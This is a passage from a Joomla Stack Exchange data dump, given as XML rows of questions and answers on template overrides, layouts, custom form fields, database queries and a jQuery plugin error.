message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage('My glorious message','error');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I pasted three links to Joomla Docs regarding overrides to provide more detailed explanations.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;How to Override Joomla Core&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;Understanding Output Overrides&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;Layout Overrides in Joomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1906" LastEditorUserId="-1" LastEditDate="2016-07-19T17:38:09.920" LastActivityDate="2016-07-19T17:38:09.920" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9559" PostTypeId="1" CreationDate="2015-04-21T01:26:50.650" Score="3" ViewCount="250" Body="&lt;p&gt;My Joomla version is 3.4.1&#xA;I'm working with a template named TZ Simple Love. I've installed this template, it was correctly showing in the Template Manager list. One of my site admin accidentally deleted this. Now I want to install that again, but problem is that, when I am trying to install it; Joomla showing the template is installed. But when I click on the Template Manager the template is not in the list !!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only this, if I click on the filter on the left column, it is listed there. If I select it from there, it shows :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are no styles installed matching your query. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I solve this weird problem.&lt;/p&gt;&#xA;" OwnerUserId="4100" LastActivityDate="2015-04-21T17:22:10.007" Title="Why installed template is not on the installed template list?" Tags="|templates|template-manager|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9561" PostTypeId="1" AcceptedAnswerId="9584" CreationDate="2015-04-21T02:18:49.463" Score="1" ViewCount="214" Body="&lt;p&gt;I'm new in Joomla, I have try to build my Joomla component, however, when I try to include Jquery ptTimeSelect library into front end it shows javascript error &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught TypeError: Cannot read property '_doCheckMouseClick' of undefined &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I did a lot google, and did change the place of the code, it seems Joomla automatic ignore part of the code cause this problem（maybe it skipping any code with &quot;_&quot;underscore ), and I did try to rename _doCheckMouseClick to doCheckMouseClick, it show the same kind error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here are the code pops error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;calling function: line 228 in file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $(document).mousedown(jQuery.ptTimeSelect._doCheckMouseClick);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;define function: line 387 in file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /**&#xA; * Closes the timePicker popup if user is not longer focused on the&#xA; * input field or the timepicker&#xA; * &#xA; * @private&#xA; * @param {jQueryEvent} ev -    Event passed in by jQuery&#xA; * @return {undefined}&#xA; */&#xA;jQuery.ptTimeSelect._doCheckMouseClick = function(ev){&#xA;    if (!$(&quot;#ptTimeSelectCntr:visible&quot;).length) {&#xA;        return;&#xA;    }&#xA;    if (   !jQuery(ev.target).closest(&quot;#ptTimeSelectCntr&quot;).length&#xA;        &amp;amp;&amp;amp; jQuery(ev.target).not(&quot;input.isPtTimeSelectActive&quot;).length ){&#xA;        jQuery.ptTimeSelect.closeCntr();&#xA;    }&#xA;&#xA;};// jQuery.ptTimeSelect._doCheckMouseClick&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help&lt;/p&gt;&#xA;" OwnerUserId="4101" LastActivityDate="2016-03-16T12:33:41.430" Title="Joomla component include JavaScript, pop error" Tags="|joomla-3.x|component|javascript|jquery|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9562" PostTypeId="1" AcceptedAnswerId="9566" CreationDate="2015-04-21T02:30:15.953" Score="6" ViewCount="768" Body="&lt;p&gt;I create a file &lt;strong&gt;&quot;product.php&quot;&lt;/strong&gt; in &lt;code&gt;&quot;\templates\beez3\html\com_content\category&quot;&lt;/code&gt;&#xA;I can see it in &quot;alternative layout option&quot; but i can't see it in &quot;menu item type&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then i create a &lt;strong&gt;&quot;product.xml&quot;&lt;/strong&gt; file. &#xA;Now i can see it in &quot;menu item type&quot; but i can't see it in &quot;alternative layout option&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone tell me why??&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Rene Korss, thanks for your answer.&#xA;Here is my situation. I have multi level category like this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Product&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Printer&lt;/li&gt;&#xA;&lt;li&gt;Fax Machines&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;i set a menu item as &lt;code&gt;product.php&lt;/code&gt; and category is &lt;code&gt;Product&lt;/code&gt;.&#xA;It is fine in level 1 but when i go into subcategory. The page will use &lt;code&gt;blog.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway that i can make all category use &lt;code&gt;product.php&lt;/code&gt;??&lt;/p&gt;&#xA;" OwnerUserId="4102" LastEditorUserId="4102" LastEditDate="2015-04-23T04:10:53.790" LastActivityDate="2015-07-08T06:01:28.937" Title="Can't see alternative layout once i add xml file" Tags="|joomla-3.x|overrides|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9563" PostTypeId="2" ParentId="9134" CreationDate="2015-04-21T03:08:46.500" Score="2" Body="&lt;p&gt;There might well be a neater way than this... But a roundabout way that would work would be to create two separate menu items that have different templates assigned to them and different user permissions but still in the same location in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg menu item 1 has template 1 and permissions are set to guest&#xA;and&#xA;menu item 2 has template 2 and permissions are set to registered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disadvantage is that you would have two maintain two sets of menus, which I am guessing you would like to avoid and are seeking a neater solution for.&lt;/p&gt;&#xA;" OwnerUserId="4097" LastActivityDate="2015-04-21T03:08:46.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9564" PostTypeId="1" AcceptedAnswerId="9569" CreationDate="2015-04-21T03:27:00.147" Score="2" ViewCount="1363" Body="&lt;p&gt;I want to make a single-page template from scratch, but I don't really know where to start. I'm using Joomla 3.x, so my approach should be bootstrap compatible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that since the menu buttons make the page scroll, it makes sense to use modules for every menu item. But then I wonder how I can get the scrolling and anchors to work properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="2097" LastEditorUserId="487" LastEditDate="2015-04-21T08:52:01.607" LastActivityDate="2015-04-21T12:55:33.263" Title="How to make a single-page template?" Tags="|joomla-3.x|templates|bootstrap|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9565" PostTypeId="2" ParentId="9555" CreationDate="2015-04-21T07:10:24.910" Score="2" Body="&lt;p&gt;It's currently not possible to apply set functions like ORDER BY, HAVING or GROUP BY to UNION queries, see &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/6789&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/6789&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can build your query a little different and it should work. Try something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query3 = $db-&amp;gt;getQuery(true)&#xA;              -&amp;gt;select('a.*')&#xA;              -&amp;gt;from('(' . $query-&amp;gt;union($query2) . ') a')&#xA;              -&amp;gt;order('date DESC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See this answer on stackoverflow for another example: &lt;a href=&quot;https://stackoverflow.com/a/3531301/1823160&quot;&gt;https://stackoverflow.com/a/3531301/1823160&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Complete example with 3 united queries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query1 = $db-&amp;gt;getQuery(true)-&amp;gt;select('*')-&amp;gt;from('#__menu')-&amp;gt;where('id = 2');&#xA;$query2 = $db-&amp;gt;getQuery(true)-&amp;gt;select('*')-&amp;gt;from('#__menu')-&amp;gt;where('id = 3');&#xA;$query3 = $db-&amp;gt;getQuery(true)-&amp;gt;select('*')-&amp;gt;from('#__menu')-&amp;gt;where('id = 4');&#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;             -&amp;gt;select('a.*')&#xA;             -&amp;gt;from('(' . $query1-&amp;gt;union($query2)-&amp;gt;union($query3) . ') a')&#xA;             -&amp;gt;order('id DESC');&#xA;&#xA;//echo $query-&amp;gt;dump();&#xA;$result = $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-04-21T20:24:08.300" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9566" PostTypeId="2" ParentId="9562" CreationDate="2015-04-21T08:16:49.253" Score="5" Body="&lt;p&gt;&lt;strong&gt;Alternative layouts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Docs says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As with module layouts, the file must not be named the same as the core file and must not include underscores in the name. &lt;strong&gt;Additionally, there should not be an XML file of the same name in this folder.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if there is XML file, it's considered to be alternative menu item, not alternative layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create one extra file for alternative layout and include product.php in it. But alternative menu item file should contain whole view, not part of it. So they should be different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If there is a menu item set up for this specific category, that layout will be used instead of the alternative category layout.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;View &lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla#Component_Alternative_Layouts&quot; rel=&quot;nofollow&quot;&gt;Docs: Layout Overrides in Joomla&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-07-08T06:01:28.937" LastActivityDate="2015-07-08T06:01:28.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9567" PostTypeId="1" AcceptedAnswerId="9568" CreationDate="2015-04-21T08:55:50.480" Score="2" ViewCount="179" Body="&lt;p&gt;I'm creating my custom component. In backend I have the list of single records. They have parent records in the DB as parent_id and therefore are displayed in backend only as ids. How to display names of these parents instead of their ids?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my &lt;strong&gt;models/records.php&lt;/strong&gt; there is the query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('id, header, parent_id, ordering, published');&#xA;$query-&amp;gt;from('#__records');&#xA;return $query;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in &lt;strong&gt;views/records/view.html.php&lt;/strong&gt; there is &lt;code&gt;$this-&amp;gt;items = $this-&amp;gt;get('Items');&lt;/code&gt; The names of records are stored in the DB in the field &lt;strong&gt;header&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-04-22T04:09:02.147" LastActivityDate="2015-04-23T20:44:41.137" Title="How to display names of parents instead of their ids" Tags="|joomla-3.x|component|development|joomla-api|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9568" PostTypeId="2" ParentId="9567" CreationDate="2015-04-21T10:20:07.647" Score="3" Body="&lt;p&gt;Use subquery.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA;    *,&#xA;    (SELECT header FROM `tablename` WHERE `id`=r.parent_id) AS parent_header&#xA;FROM &#xA;    `tablename` AS r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;parent_header&lt;/code&gt; has name of parent record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Joomla! &lt;code&gt;JDatabaseQuery&lt;/code&gt; object&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;&#xA;// Create subquery to get `header` column value&#xA;$subQuery = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('header')&#xA;    // You have this row in same table? If not, change table name&#xA;    -&amp;gt;from('`#__records`')&#xA;    -&amp;gt;where('id=r.parent_id');&#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;  -&amp;gt;select('id, header, parent_id, ordering, published')&#xA;  // Inject subquery select&#xA;  -&amp;gt;select('('.$subQuery-&amp;gt;__toString().') AS parent_header')&#xA;  -&amp;gt;from('`#__records` AS r');&#xA;&#xA;return $query;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Query output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA;    id, header, parent_id, ordering, published,&#xA;    (&#xA;        SELECT &#xA;            header&#xA;        FROM &#xA;            `lab0f_records`&#xA;        WHERE &#xA;            id=r.parent_id&#xA;    ) AS &#xA;        parent_header&#xA;FROM &#xA;    `lab0f_records` AS r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-04-22T06:42:47.383" LastActivityDate="2015-04-22T06:42:47.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9569" PostTypeId="2" ParentId="9564" CreationDate="2015-04-21T10:49:43.743" Score="2" Body="&lt;p&gt;You are on the right track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Menu items&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create all menu items as &lt;code&gt;System Links &amp;gt; External URL&lt;/code&gt; and set link as &lt;code&gt;#section-[MODULE_ID_HERE]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example your menu links should look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#section-[MODULE_ID_HERE]&quot;&amp;gt;First section&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Modules&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would create new chrome for modules, so they would all have unique ID attribute. For example with module ID or alias. Then you can link to them.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Joomla! docs for &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides#Ancillary_Customisation:Chrome&quot; rel=&quot;nofollow&quot;&gt;module chromes&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Module wrapper div should look like this. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;#section-&amp;lt;?php echo $module-&amp;gt;id; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;!-- Module content here --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;section-&lt;/code&gt; prefix is just for example, you don't have to use this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Scrolling&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a short example. This prevents regular event on clicking link and animates browser to right section.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * @author Paul Underwood&#xA; * @source http://www.paulund.co.uk/smooth-scroll-to-internal-links-with-jquery&#xA; */&#xA;&#xA;$(document).ready(function(){&#xA;    $('a[href^=&quot;#&quot;]').on('click',function (e) {&#xA;        e.preventDefault();&#xA;&#xA;        var target = this.hash;&#xA;        var $target = $(target);&#xA;&#xA;        $('html, body').stop().animate({&#xA;            'scrollTop': $target.offset().top&#xA;        }, 900, 'swing', function () {&#xA;            window.location.hash = target;&#xA;        });&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="2097" LastEditDate="2015-04-21T12:55:33.263" LastActivityDate="2015-04-21T12:55:33.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9571" PostTypeId="1" AcceptedAnswerId="9578" CreationDate="2015-04-21T13:05:58.723" Score="2" ViewCount="262" Body="&lt;p&gt;I recently updated from Joomla 3.3.2 to Joomla 3.4, and also updated the template Radiance to v1.10, but Pages doesn't look right on iphone and Android. How can I make the site mobile friendly?&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="1629" LastEditDate="2015-04-22T02:10:29.300" LastActivityDate="2015-04-22T02:10:29.300" Title="Joomla 3.4 Radiance not working on mobile phone" Tags="|joomla-3.x|gantry|mobile-web-design|" AnswerCount="1" CommentCount="8" ClosedDate="2015-04-21T18:22:02.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="9572" PostTypeId="2" ParentId="9554" CreationDate="2015-04-21T13:13:21.963" Score="0" Body="&lt;p&gt;I haven't tested it (short on time), but I think this should add a dummy column b.mob which is filled with string 'dummy'. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;select ($db-&amp;gt;quoteName(array('b.event','a.date','a.type')))&#xA;-&amp;gt;select ($db-&amp;gt;quote('dummy'). ' AS ' . $db-&amp;gt;quoteName('b.mob'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The equivalent sql should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `b.event`, `a.date`, `a.type`, 'dummy' AS `b.mob`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2061" LastActivityDate="2015-04-21T13:13:21.963" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9573" PostTypeId="1" AcceptedAnswerId="9577" CreationDate="2015-04-21T13:33:14.030" Score="2" ViewCount="1100" Body="&lt;p&gt;Hi I'm looking to add new field attribute for my custom component.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field type=&quot;myfield&quot; mycustomattribute=&quot;somevalue&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I would like to render it in my HTML. Could someone help with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my custom FormField Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/*&#xA; * @package     Joomla.Administrator&#xA; * @subpackage  com_casestudy&#xA; * &#xA; * @Author      Sahil Purav&#xA; * @contact     contact@sahilpurav.in&#xA; */&#xA;&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class JFormFieldUpload extends JFormFieldFile {&#xA;&#xA;    /**&#xA;     * The form field type.&#xA;     *&#xA;     * @var    string&#xA;     *&#xA;     * @since  11.1&#xA;     */&#xA;    protected $type = &quot;upload&quot;;&#xA;&#xA;    /**&#xA;     * The button text of the field.&#xA;     *&#xA;     * @var    string&#xA;     */&#xA;    protected $btnString;&#xA;&#xA;    public function getInput() {&#xA;        // Initialize some field attributes.&#xA;        $accept = !empty($this-&amp;gt;accept) ? ' accept=&quot;' . $this-&amp;gt;accept . '&quot;' : '';&#xA;        $size = !empty($this-&amp;gt;size) ? ' size=&quot;' . $this-&amp;gt;size . '&quot;' : '';&#xA;        $class = !empty($this-&amp;gt;class) ? ' class=&quot;' . $this-&amp;gt;class . '&quot;' : '';&#xA;        $disabled = $this-&amp;gt;disabled ? ' disabled' : '';&#xA;        $required = $this-&amp;gt;required ? ' required aria-required=&quot;true&quot;' : '';&#xA;        $autofocus = $this-&amp;gt;autofocus ? ' autofocus' : '';&#xA;        $btnString = !empty($this-&amp;gt;btnString) ? $this-&amp;gt;btnString : JText::_('COM_HELPDESK_BROWSE_BUTTON');&#xA;&#xA;        $html = array();&#xA;&#xA;        $html[] = '&amp;lt;div id=&quot;file-upload&quot;&amp;gt;';&#xA;        $html[] = '&amp;lt;button&amp;gt;' . $btnString . '&amp;lt;/button&amp;gt;';&#xA;        $html[] = '&amp;lt;/div&amp;gt;';&#xA;&#xA;        return implode($html);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="2233" LastEditDate="2015-04-21T13:58:34.690" LastActivityDate="2017-01-21T17:58:08.633" Title="Set New XML attribute in custom JFormField" Tags="|jform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9576" PostTypeId="2" ParentId="9559" CreationDate="2015-04-21T14:16:58.020" Score="3" Body="&lt;p&gt;You should take a look at the database. Look for your template in the &lt;code&gt;#__assets&lt;/code&gt; and &lt;code&gt;#__extensions&lt;/code&gt; tables and delete it. Then try a fresh install of your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the problem is that you deleted the files from the server, but not the entries from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also suspect that if you try fixing the database from Joomla's administrator panel, Joomla might do it automatically, :)&lt;/p&gt;&#xA;" OwnerUserId="2097" LastActivityDate="2015-04-21T14:16:58.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9577" PostTypeId="2" ParentId="9573" CreationDate="2015-04-21T14:20:05.010" Score="3" Body="&lt;p&gt;Hi I was able to get it done. I just had to set and get new element. And then, override &quot;setup&quot; function of JFormField class. Following is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/*&#xA; * @package     Joomla.Administrator&#xA; * @subpackage  com_casestudy&#xA; * &#xA; * @Author      Sahil Purav&#xA; * @contact     contact@sahilpurav.in&#xA; */&#xA;&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class JFormFieldUpload extends JFormField {&#xA;&#xA;    /**&#xA;     * The form field type.&#xA;     *&#xA;     * @var    string&#xA;     *&#xA;     * @since  11.1&#xA;     */&#xA;    protected $type = &quot;upload&quot;;&#xA;&#xA;    /**&#xA;     * The button text of the field.&#xA;     *&#xA;     * @var    string&#xA;     */&#xA;    protected $btnString;&#xA;&#xA;    /**&#xA;     * Method to get certain otherwise inaccessible properties from the form field object.&#xA;     *&#xA;     * @param   string  $name  The property name for which to the the value.&#xA;     *&#xA;     * @return  mixed  The property value or null.&#xA;     *&#xA;     */&#xA;    public function __get($name) {&#xA;&#xA;        switch ($name) {&#xA;            case 'btnString':&#xA;                return $this-&amp;gt;$name;&#xA;        }&#xA;        return parent::__get($name);&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to set certain otherwise inaccessible properties of the form field object.&#xA;     *&#xA;     * @param   string  $name   The property name for which to the the value.&#xA;     * @param   mixed   $value  The value of the property.&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     */&#xA;    public function __set($name, $value) {&#xA;&#xA;        switch ($name) {&#xA;            case 'btnString':&#xA;                $this-&amp;gt;btnString = (string) $value;&#xA;                break;&#xA;            default:&#xA;                parent::__set($name, $value);&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to attach a JForm object to the field.&#xA;     *&#xA;     * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the &amp;lt;field /&amp;gt; tag for the form field object.&#xA;     * @param   mixed             $value    The form field value to validate.&#xA;     * @param   string            $group    The field name group control value. This acts as as an array container for the field.&#xA;     *                                      For example if the field has name=&quot;foo&quot; and the group value is set to &quot;bar&quot; then the&#xA;     *                                      full field name would end up being &quot;bar[foo]&quot;.&#xA;     *&#xA;     * @return  boolean  True on success.&#xA;     *&#xA;     * @see     JFormField::setup()&#xA;     * @since   3.2&#xA;     */&#xA;    public function setup(\SimpleXMLElement $element, $value, $group = null) {&#xA;&#xA;        $result = parent::setup($element, $value, $group);&#xA;&#xA;        if ($result == TRUE) {&#xA;            $this-&amp;gt;btnString = (string) $this-&amp;gt;element['btnString'];&#xA;        }&#xA;&#xA;        return $result;&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to get the field input markup.&#xA;     *&#xA;     * @return  string  The field input markup.&#xA;     *&#xA;     * @since   11.1&#xA;     */&#xA;    public function getInput() {&#xA;        // Initialize some field attributes.&#xA;        $accept = !empty($this-&amp;gt;accept) ? ' accept=&quot;' . $this-&amp;gt;accept . '&quot;' : '';&#xA;        $size = !empty($this-&amp;gt;size) ? ' size=&quot;' . $this-&amp;gt;size . '&quot;' : '';&#xA;        $class = !empty($this-&amp;gt;class) ? ' class=&quot;' . $this-&amp;gt;class . '&quot;' : '';&#xA;        $disabled = $this-&amp;gt;disabled ? ' disabled' : '';&#xA;        $required = $this-&amp;gt;required ? ' required aria-required=&quot;true&quot;' : '';&#xA;        $autofocus = $this-&amp;gt;autofocus ? ' autofocus' : '';&#xA;        $btnString = !empty($this-&amp;gt;btnString) ? $this-&amp;gt;btnString : JText::_('COM_HELPDESK_BROWSE_BUTTON');&#xA;&#xA;        $html = array();&#xA;&#xA;        $html[] = '&amp;lt;div id=&quot;file-upload&quot;&amp;gt;';&#xA;        $html[] = '&amp;lt;button type=&quot;button&quot; id=&quot;' . $this-&amp;gt;id . '&quot;' . $class . $disabled . $required . $autofocus . '&amp;gt;' . $btnString . '&amp;lt;/button&amp;gt;';&#xA;        $html[] = '&amp;lt;/div&amp;gt;';&#xA;&#xA;        return implode($html);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-04-21T14:20:05.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9578" PostTypeId="2" ParentId="9571" CreationDate="2015-04-21T16:51:04.200" Score="4" Body="&lt;p&gt;Both &lt;a href=&quot;http://demo.rockettheme.com/joomla-templates/radiance/&quot; rel=&quot;nofollow noreferrer&quot;&gt;RocketTheme&lt;/a&gt; and &lt;a href=&quot;https://yootheme.com/demo/themes/joomla/2012/radiance/&quot; rel=&quot;nofollow noreferrer&quot;&gt;YooTheme&lt;/a&gt; has a template called &lt;em&gt;Radiance&lt;/em&gt;, both are from 2011-2012 and are &lt;strong&gt;NOT&lt;/strong&gt; responsive. I'm going to assume you're using the RocketTheme template, since the latest version is 1.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When RocketTheme started with &quot;mobile friendly&quot; templates, they weren't actually responsive, but included an option to load a customized version of the template for iPhone and Android. This means they somehow detected the device, and styled the page accordingly. A few templates later they began with responsive design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see how a responsive website works, it's simply a matter of re-sizing the browser window. With your template, however, in order to test on localhost you have to emulate an iPhone/Android device, and even then I find it rather random if I see the mobile or full version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O6Zl7.jpg&quot; alt=&quot;Android Mobile view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uf9ba.jpg&quot; alt=&quot;iPhone mobile view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to test your website is to place it on a live server and test with a real phone. Even so, remember that these templates are responsive based on device, not on screen size. Responsive should be design-driven, not device-driven.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-04-21T16:51:04.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
